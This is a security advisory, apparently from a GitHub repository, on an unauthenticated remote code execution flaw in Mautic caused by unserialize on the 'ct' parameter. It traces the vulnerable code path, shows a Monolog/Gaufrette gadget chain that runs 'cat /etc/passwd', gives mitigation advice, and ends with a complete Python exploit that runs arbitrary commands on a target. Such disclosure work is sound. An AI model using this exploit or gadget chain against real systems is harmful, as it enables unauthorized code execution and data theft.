Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
1 contributor

Users who have contributed to this file

233 lines (184 sloc) 7.23 KB

Mautic Remote Code Execution

The open-source marketing automation software Mautic suffers from a vulnerability due to usage of the insecure unserialize function. An unauthenticated adversary exploiting this vulnerability is able to execute arbitrary code. When using PHP 7.0 or newer Mautic installations up to and including 2.15.1 are affected, for servers running older versions of PHP the vulnerability has not been fixed (yet). This document gives a quick overview of the vulnerability and how it can be exploited.

Vulnerability

First, when accessing a non-existent path on a Mautic installation the indexAction of the PublicController will be called.

class PublicController extends CommonFormController
{
    public function indexAction($slug, Request $request)
    {
        $model    = $this->getModel('page');

        // ...

        $model->hitPage($entity, $this->request, 404);
        return $this->notFound();
    }
}

Then the hitPage method of the PageModel is called. hitPage then calls getHitQuery, which calls AbstractCommonModel::decodeArrayFromUrl.

class PageModel extends FormModel
{
    public function hitPage($page, Request $request, $code = '200', Lead $lead = null, $query = [])
    {
        // ...

        // Process the query
        if (empty($query)) {
            $query = $this->getHitQuery($request, $page);
        }

        // ...
    }

    public function getHitQuery(Request $request, $page = null)
    {
        $get  = $request->query->all();
        $post = $request->request->all();

        $query = \array_merge($get, $post);

        // Set generated page url
        $query['page_url'] = $this->getPageUrl($request, $page);

        // Process clickthrough if applicable
        if (!empty($query['ct'])) {
            $query['ct'] = $this->decodeArrayFromUrl($query['ct']);
        }

        return $query;
    }
}

AbstractCommonModel::decodeArrayFromUrl finally calls the vulnerable ClickthroughHelper::decodeArrayFromUrl.

abstract class AbstractCommonModel
{
    public function decodeArrayFromUrl($string, $urlDecode = true)
    {
        return ClickthroughHelper::decodeArrayFromUrl($string, $urlDecode);
    }
}

The vulnerable code in app/bundles/CoreBundle/Helper/ClickthroughHelper.php:

class ClickthroughHelper
{
    public static function decodeArrayFromUrl($string, $urlDecode = true)
    {
        $raw     = $urlDecode ? urldecode($string) : $string;
        $decoded = base64_decode($raw);

        if (empty($decoded)) {
            return [];
        }

        if (strpos(strtolower($decoded), 'a') !== 0) {
            throw new \InvalidArgumentException(sprintf('The string %s is not a serialized array.', $decoded));
        }

        return unserialize($decoded);
    }
}

This code unserializes a user-controlled string. Adversaries can thus instantiate arbitrary PHP objects and achieve code execution.

Unserialize Gadget

Adversaries can exploit this vulnerability by crafting a PHP object that will execute code when it is destructed. The following unserialize gadget will execute system("cat /etc/passwd"); when destructed.

array(1) {
  [0]=>
  object(Gaufrette\Adapter\Zip)#2220 (2) {
    ["zipArchive":protected]=>
    object(Monolog\Handler\BufferHandler)#2217 (10) {
      ["handler":protected]=>
      object(Monolog\Handler\GroupHandler)#2224 (5) {
        ["handlers":protected]=>
        array(0) {
        }
        ["processors":protected]=>
        array(1) {
          [0]=>
          string(6) "system"
        }
      }
      ["bufferSize":protected]=>
      int(1)
      ["buffer":protected]=>
      array(1) {
        [0]=>
        string(2) "cat /etc/passwd"
      }
    }
  }
}

When this PHP object is destructed, the __destruct method on Gaufrette\Adapter\Zip will be called.

class Zip implements Adapter
{
    public function __destruct()
    {
        if ($this->zipArchive) {
            try {
                $this->zipArchive->close();
            } catch (\Exception $e) {

            }
            unset($this->zipArchive);
        }
    }
}

This method will call close on its zipArchive member. In our case this is a Monolog\Handler\BufferHandler object.

class BufferHandler extends AbstractHandler
{
    public function close()
    {
        $this->flush();
    }

    public function flush()
    {
        if ($this->bufferSize === 0) {
            return;
        }

        $this->handler->handleBatch($this->buffer);
        $this->clear();
    }
}

The flush method will then call handleBatch on the Monolog\Handler\GroupHandler object and pass its buffer member variable in.

class GroupHandler extends AbstractHandler
{
    public function handleBatch(array $records)
    {
        if ($this->processors) {
            $processed = array();
            foreach ($records as $record) {
                foreach ($this->processors as $processor) {
                    $processed[] = call_user_func($processor, $record);
                }
            }
            $records = $processed;
        }

        foreach ($this->handlers as $handler) {
            $handler->handleBatch($records);
        }
    }
}

The handleBatch method then calls call_user_func which an adversary can use to execute arbitrary code.

Summary

unserialize is a dangerous function that should only be used when the serialization of PHP objects is explicitly required. In cases where the serialization of PHP objects is not required one should use the json_encode and json_decode functions instead. If PHP object serialization is required the $options argument should be used to specify which PHP objects can be unserialized and a cryptographic primitive such as an HMAC should be used to prevent users from tampering with serialized data.

Proof of Concept

The following proof of concept exploits the vulnerability in order to execute arbitrary system commands:

#!/usr/bin/env python3
import requests
import base64
import argparse

def exploit(url, cmd):
    php_function = 'system'
    group_handler = b'O:28:"Monolog\\Handler\\GroupHandler":2:{s:13:"\x00*\x00processors";a:1:{i:0;s:' + bytes(str(len(php_function)), 'utf-8') + b':"' + bytes(php_function, 'utf-8') + b'";}s:11:"\x00*\x00handlers";a:0:{}}'
    buffer_handler = b'O:29:"Monolog\\Handler\\BufferHandler":3:{s:13:"\x00*\x00bufferSize";i:1;s:9:"\x00*\x00buffer";a:1:{i:0;s:' + bytes(str(len(cmd)), 'utf-8') + b':"' + bytes(cmd, 'utf-8') + b'";}s:10:"\x00*\x00handler";' + group_handler + b'}'
    zip_archive = b'a:1:{i:0;O:21:"Gaufrette\\Adapter\\Zip":1:{s:13:"\x00*\x00zipArchive";' + buffer_handler + b'}}'
    payload = base64.b64encode(zip_archive)

    output = requests.post('{}/index.php/404'.format(url), data={'ct': payload}).text
    return output[:output.rindex('<!DOCTYPE html>')]

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Remote code execution on mautic')
    parser.add_argument('url', help='base url of the mautic installation (e.g. http://localhost/)')
    parser.add_argument('cmd', help='command to execute (e.g. ls)')

    args = parser.parse_args()

    print(exploit(args.url, args.cmd))
You can’t perform that action at this time.